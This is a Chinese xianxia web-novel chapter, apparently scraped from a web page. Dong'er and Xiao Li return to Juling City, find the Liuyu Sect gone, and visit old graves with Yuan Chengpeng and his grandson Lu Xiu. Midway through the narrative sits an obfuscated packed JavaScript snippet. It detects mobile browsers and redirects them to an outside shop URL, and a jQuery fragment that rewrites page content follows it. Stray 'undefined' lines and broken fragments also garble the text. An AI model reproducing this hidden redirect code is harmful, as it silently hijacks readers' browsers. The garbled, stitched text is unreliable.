东儿还记得当年从虎牙城到临安城的艰辛,如今从临安城到虎牙城,搭乘传送阵不过是一眨眼的功夫。
其实传送名额并不贵,每人也就几千灵石,贵的是搭乘者的地位和修为,这两样但凡有一样达不到,都无法得到传送名额。
他俩只在虎牙城待了三天,因为购买的材料数量太多,价值也太高,惊动了整座虎牙城药市,引来诸多势力查探,直到肖离释放了元婴气息,众势力才偃旗息鼓。
经过数家大型店铺相互查漏补缺,用了不足两天的时间,便将肖离需要的材料全数补齐。
东儿这才发现,原来所谓的门户之见,不过是这些商铺的借口,在强权的恫吓下,他们原来也可以合作无间。
巨灵城黑市的传送阵外。
几名炼气期修士正在玩色子,桌上散落着十几块拇指大小的五色灵石。
摇色子的人正吆喝“买定离手”时,忽闻传送阵一阵嗡鸣,紧接着一道灵光大闪。
“这个点怎么会有人传送过来?”众人吃惊之余,就见传送阵内出现了一对男女身影。
不多两道身影太模糊,只大约看出男的身形颀长,女的十分窈窕。
不待几人回神,两道身影便在原地消失。
“你们刚才也看到了吧?”拿色盅的人略带迟疑道。
其他几人脸色各异,因为他们也不太确定那两道人影是否真实。
“我听说……大渊前些年有邪修争斗,打破一杆鬼幡,听说鬼幡里收取的都是修士的生魂,无法转生,只能索命夺舍……”一道略显苍老的声音幽然响起,吓得其余几人一激灵。
“X!老姜头你少说鬼话唬人!”有人高呼道。
老姜头撇撇嘴,心说最好吓死你们几个龟孙,让你们抽老千!
undefined
六月的巨灵城正值酷暑节气。
正午时分,日头最毒的时候,芒山镇的渡头上飘然落下一对年轻男女。
男的看上去二十七八岁,面貌深隽,身形颀长。
女的则是二十四五岁的年纪,轻灵秀美,身段窈窕。
“以前这里是一家脚店,店里的桂花酿特别好喝,后来变成了一座酒楼……”年轻女子望着渡头正对面的残破建筑,略显感怀道。
这名年轻女子正是从虎牙城传送来的东儿,她身旁的年轻男子自然就是肖离。
两人原打算直接从虎牙城传送回临安城,因为东儿特别想来巨灵城祭拜故人,便临时修改了目的地。
东儿上次回来还是柏汉长失踪的时候,那会儿芒山镇还很热闹,想不到时隔几十年,竟然落魄成了这副模样。
两人在残垣断壁中走了半天,寻到一户人家,询问后才得知,原来三十年前,巨灵城闹了一场小型兽潮,兽潮虽不大,却引发了各门派内斗。
六御宗在内斗中被拆解,铁剑堂也一并消失,如今芒山一代归一个叫“飞星门”的小型宗门管辖。
原本的铁剑堂旧址铁剑峰也成了畜牧场。
陆丰的陵墓就建在铁剑峰,如今墓地已经被夷平,这一点着实让东儿措手不及。
飞星派主峰。
太上长老名叫贾飞星,金丹初期修士,三十年前在兽潮中扬名后,一举拿下附近数座小门派,被称为东城三大长老之一。
今日正好是他纳第四房妾室的大喜之日。
据说这位四姨娘的出身还不低,娘家跟内城四大宗门都能扯上关系。
纳妾的一切程序都是照着娶妻的模式。
“姑奶奶,咱们不是早就说好了?她住她的月牙岛,你住你的飞星峰,井水不犯河水,何必跟她这个较劲儿?”一身新郎官装扮的贾飞星,看上去四十来岁的模样,身形略显瘦削,长相倒还算周正。
“你先前可是说平妻!如今人过来了,竟改口成了姨娘!我若想当姨娘,内城四派长老,哪里寻不得一个姨娘的身份,用得着跑来给你一个外城长老做小?”一身新娘装扮,看上去三十出头的女子,哭哭啼啼地扯下头饰。
贾飞星一脸无奈,“你又不是不知道什么缘由,元秀刚成为‘化裕山’的亲传弟子,亲传弟子是何等身份?她正春风得意的时候,你敢打她生母的脸,她能放过你?”
哭得梨花带雨的新娘一听这话,脸色一白,狠狠跺了一脚。
贾飞星见状,忙道,“那些都是面子上的事,只要你今后不惹她生母,她也没工夫理会飞星门这些事,行了,外面还一堆客人呢……”说罢上前打算搂一搂新姨娘,耳中却传来一个陌生的女人的冷哼声。
“谁?”贾飞星吓得一激灵,迅速放开神识,却查探不到声音源头。
小姨娘满脸狐疑地看着他,“你干吗去!”
贾飞星哪有空理她,一闪身消失在了门口。
飞星峰半山腰的竹林内,贾飞星的身影刚站定,便觉后背一凉,体内灵气极速翻涌,迅速在体表形成一圈灵光护盾,“前辈。”回身冲竹林深处拱手施礼。
不多时,从竹林深处走出一对年轻男女,看不出什么修为,尤其那个男的,身上竟无一丝灵气波动。
知道对方修为深厚,贾飞星不敢随便释放神识,更不敢抬眼查看,只能躬身站在原处。
“恭贺贾长老新喜。”女子的声音十分轻柔。
“不敢。”贾飞星恭敬回道,“两位前辈可是有事吩咐晚辈?”
“六御宗之事,你可知晓?”女子倒也没有拐弯抹角。
“禀前辈,晚辈虽然忝居飞星门长老之位,不过这东城各派并非在下所灭,实在是多年前那场兽潮后,城内派系斗得厉害,加上不少修士投奔了东玄州,才让晚辈落了这么一块地盘,前辈若想知道六御宗的事,晚辈这就传音让六御宗的老人过来。”贾飞星绕了半天,把自己的责任摘得那叫一个干净。
女子微微颔首。
贾飞星赶紧向峰顶传音,心说幸亏老子今天大喜,不然还真不知道一下子去哪里找这些人。
大概一盏茶的功夫后,竹林外来了四名修士。
其中一名四十来岁的中年筑基修士,在看到贾飞星身后的年轻男女后,神情先是错愕,接着惊喜,不过很快又恢复正常。
年轻男女看过四人后,什么表示都没有,似乎四人并不是他们要找得人。
正当贾飞星绞尽脑汁想着该怎么回话时,二人的身影却消失了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289083|191594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几人杵在那儿等了半天,半个时辰后才发现这对男女是真得离开了……
***
芒山镇的渡口。
“成鹏拜见叔父,拜见姑母。”袁成鹏一到渡口,立即向渡口的年轻男女俯身相拜。
这对年轻男女自然就是东儿和肖离。
半盏茶的功夫后,芒山山脉深处,一处依山傍水的山脚下,一方青灰砖石搭盖的墓冢旁。
袁成鹏分别将两炷香递到东儿和肖离手中,“上一次,姑母来去匆忙,很多事小侄未能说清,正好趁这次机会禀报姑母和叔父,下次见面……小侄未必还能等到。”说到这儿不禁苦笑,他终其一生只修到筑基中期,离坐化之期还有四五十年的时间,这也许是他们最后一次相聚。
东儿眼神微微一暗,上次回来她也送了他不少丹药,可惜还是没能帮到他。
“小侄因怕寿命不足,无法供奉陆爷爷,一时间也没有叔父和姑母的消息,便自作主张,将身后一脉过继到了陆爷爷名下。”袁成鹏示意了一下墓碑上的落款,在汉长和东儿名字之下,多了一个名叫陆修的玄孙。
这时,一名十七八岁的青衣少年走上前,跪倒在东儿和肖离身前。
这少年的模样跟当年的袁育杰竟有五六分相像,引得东儿多打量了几眼,回头对肖离道,“跟袁大哥长得很像。”陆丰、张绣和袁育杰的事,在来巨灵城的路上,她都给他做了详细交待。
肖离双眸微眯,手上灵光一闪,少年颈上多了一块玉珏,“你,或者你的后辈,若能参透玉珏的奥妙,便会知道该往何处寻我们。”
少年听后欣喜异常。
接下来,袁成鹏又引着他们二人去了林家墓园。
张绣去世后,被林家兄妹葬在了林家墓园,这件事是陆丰当年亲口答应的,别人也说不着什么。
过去了百年,林家后人早不知搬去了何处,林家墓园也荒废殆尽,不过张绣夫妇的墓冢却因为袁成鹏的刻意维护,一直保持得很好。
祭拜完张绣后,东儿给袁成鹏和陆修留了不少丹药和灵石,夕阳西下时,两人离开了芒山。
离开之前,东儿望了一眼残破的芒山镇……说不清心里的滋味。
当故乡没有了故人,又该思念些什么呢?
undefined
望着长虹消失在天际,袁家祖孙俩慢悠悠的在渡口散步。
“修儿,你如今还怪不怪爷爷把你过继给陆家?”袁成鹏拍了拍孙子的肩膀。
陆修腼腆一笑。
“你小子命好,一众兄弟中就你长得最像老祖,修行资质也不错,我们袁、陆两家的将来,说不准就在你身上,回去不可再偷懒耍滑。”袁成鹏教训道。
陆修答应一声。
“再者,今日之事,回家后谁也不要说,连你爹娘都不能说。”袁成鹏叮嘱道。
陆修不明所以。
“等将来你进了修行界就明白了,低调一点不会错,机缘越大,风险也越大。”袁成鹏示意了一下天际,“我至今都不知道你这两位老祖在修仙界的名号,你觉得他们为什么不说?”
陆修想了想,随即点头,自然是为了保护他们。